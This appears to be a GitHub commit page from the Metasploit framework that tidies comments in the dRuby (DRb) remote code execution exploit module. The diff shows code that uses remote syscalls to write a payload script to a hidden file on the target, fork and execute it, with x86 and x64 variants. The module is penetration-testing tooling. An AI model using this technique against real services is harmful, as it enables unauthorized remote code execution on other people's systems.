Skip to content

Commit 9f12b79

Browse files
committed
cleanup comments
1 parent 5da34e8 commit 9f12b79

File tree

1 file changed

+9
-9
lines changed

1 file changed

+9
-9
lines changed

modules/exploits/linux/misc/drb_remote_codeexec.rb

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -62,9 +62,9 @@ def method_syscall(p)
6262
filename = "." + Rex::Text.rand_text_alphanumeric(16)
6363

6464
begin
65-
# syscall to decide wether it's 64 or 32 bit:
66-
# it's getpid on 32bit which will succeed, and writev on 64bit
67-
# which will fail due to missing args
65+
# Decide if this is running on an x86 or x64 target.
66+
# This syscall number is getpid on x86, which will succeed,
67+
# or writev on x64, which will fail due to missing args.
6868
j = p.send(:syscall, 20)
6969
# syscall open
7070
i = p.send(:syscall, 8, filename, 0700)
@@ -77,18 +77,18 @@ def method_syscall(p)
7777
# syscall execve
7878
p.send(:syscall, 11, filename, 0, 0)
7979

80-
# likely 64bit system
80+
# likely x64
8181
rescue Errno::EBADF
8282
# syscall creat
83-
i = p.send(:syscall,85,filename,0700)
83+
i = p.send(:syscall, 85, filename, 0700)
8484
# syscall write
85-
p.send(:syscall,1,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
85+
p.send(:syscall, 1, i, "#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
8686
# syscall close
87-
p.send(:syscall,3,i)
87+
p.send(:syscall, 3, i)
8888
# syscall fork
89-
p.send(:syscall,57)
89+
p.send(:syscall, 57)
9090
# syscall execve
91-
p.send(:syscall,59,filename,0,0)
91+
p.send(:syscall, 59, filename, 0, 0)
9292
end
9393

9494
register_file_for_cleanup(filename) if filename

0 commit comments

Comments
 (0)